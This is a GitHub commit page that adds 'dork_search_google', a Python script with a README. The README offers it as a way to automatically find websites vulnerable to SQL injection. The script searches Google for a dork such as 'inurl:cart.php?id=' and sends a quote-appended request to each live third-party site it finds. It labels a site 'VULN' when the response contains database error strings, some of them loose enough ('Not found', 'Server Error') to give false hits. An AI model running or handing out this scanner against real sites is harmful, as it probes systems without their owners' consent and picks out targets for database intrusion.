Skip to content
This repository was archived by the owner on May 25, 2022. It is now read-only.

Commit 4bafcd8

Browse files
authoredNov 23, 2021
Merge pull request #541 from M-Quwais/master
finding SQL injection vulnerability in website
2 parents a85c140 + 4a3498d commit 4bafcd8

File tree

3 files changed

+98
-0
lines changed

3 files changed

+98
-0
lines changed
 

‎projects/dork_search_google/README.md

+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# Exploit the google dork!
2+
3+
this script will teach you how to auto find the vulnerability sites of sql injection in google search engine
4+
5+
#Prerequisites
6+
You only need Python to run this script. You can visit here to download Python.
7+
but you need to install requirements package first!
8+
>pip3 install -r requirements.txt
9+
10+
# how to run this program?
11+
12+
>python3 main.py
13+
14+
# Sample use of the script
15+
16+
>kali@kali$ python3 main.py
17+
>[?] dork: [inurl:cart.php?id=]
18+
>[?] total page : 25
19+
>
20+
> you will see the following results here

‎projects/dork_search_google/main.py

+76
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
#!/usr/bin/python3
2+
3+
import sys
4+
import re
5+
6+
# the error contans for sql injection vulnerable
7+
errors = {'MySQL': 'error in your SQL syntax',
8+
'MiscError': 'mysql_fetch',
9+
'MiscError2': 'num_rows',
10+
'Oracle': 'ORA-01756',
11+
'JDBC_CFM': 'Error Executing Database Query',
12+
'JDBC_CFM2': 'SQLServer JDBC Driver',
13+
'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server',
14+
'MSSQL_Uqm': 'Unclosed quotation mark',
15+
'MS-Access_ODBC': 'ODBC Microsoft Access Driver',
16+
'MS-Access_JETdb': 'Microsoft JET Database',
17+
'Error Occurred While Processing Request' : 'Error Occurred While Processing Request',
18+
'Server Error' : 'Server Error',
19+
'Microsoft OLE DB Provider for ODBC Drivers error' : 'Microsoft OLE DB Provider for ODBC Drivers error',
20+
'Invalid Querystring' : 'Invalid Querystring',
21+
'OLE DB Provider for ODBC' : 'OLE DB Provider for ODBC',
22+
'VBScript Runtime' : 'VBScript Runtime',
23+
'ADODB.Field' : 'ADODB.Field',
24+
'BOF or EOF' : 'BOF or EOF',
25+
'ADODB.Command' : 'ADODB.Command',
26+
'JET Database' : 'JET Database',
27+
'mysql_fetch_array()' : 'mysql_fetch_array()',
28+
'Syntax error' : 'Syntax error',
29+
'mysql_numrows()' : 'mysql_numrows()',
30+
'GetArray()' : 'GetArray()',
31+
'FetchRow()' : 'FetchRow()',
32+
'Input string was not in a correct format' : 'Input string was not in a correct format',
33+
'Not found' : 'Not found'}
34+
35+
36+
try:
37+
import requests
38+
import googlesearch
39+
# the function to exploit the google hacking databases
40+
def Exploit(dork,total_page):
41+
# this require google search engine
42+
user_agent = {"User-agent":"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"}
43+
44+
Total_page = int(total_page)
45+
46+
for b in googlesearch.search(dork, num=Total_page):
47+
web = b+"'" # add ' to end the result url. to check if website is vuln by SQL Injection
48+
# using requests
49+
r = requests.get(web, headers=user_agent)
50+
webs = r.text
51+
# return errors dictionary to find the error problem matches
52+
for Type, ErrorMessage in errors.items():
53+
if re.search(ErrorMessage, webs):
54+
# append the list of vulnerability website to result
55+
print(" \033[41m\033[30mVULN\033[40m\033[37m {0}\n Vulnerability Type: \033[31m{1}".format(b,Type))
56+
57+
# doing the while input
58+
while True:
59+
# going to ask your dork
60+
dork = input("[?] dork: [inurl:cart.php?id=] ")
61+
total_page = input("[?] total page : ")
62+
63+
# if you input the empty dork. this will set the default dork as 'inurl:products.php?id='
64+
if not dork:
65+
Exploit(dork = "inurl:cart.php?id=",
66+
total_page = total_page)
67+
else:
68+
Exploit(dork = dork,total_page = total_page)
69+
70+
except ImportError:
71+
# this error will display on your terminal if you havent
72+
# installed the google module
73+
print("[!] You havent installed the required modules!\n[+] to install that packages. run 'pip3 install -r requirements.txt' on your terminal\n")
74+
sys.exit()
75+
except KeyboardInterrupt:
76+
sys.exit()
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
google
2+
requests

0 commit comments

Comments
 (0)
Failed to load comments.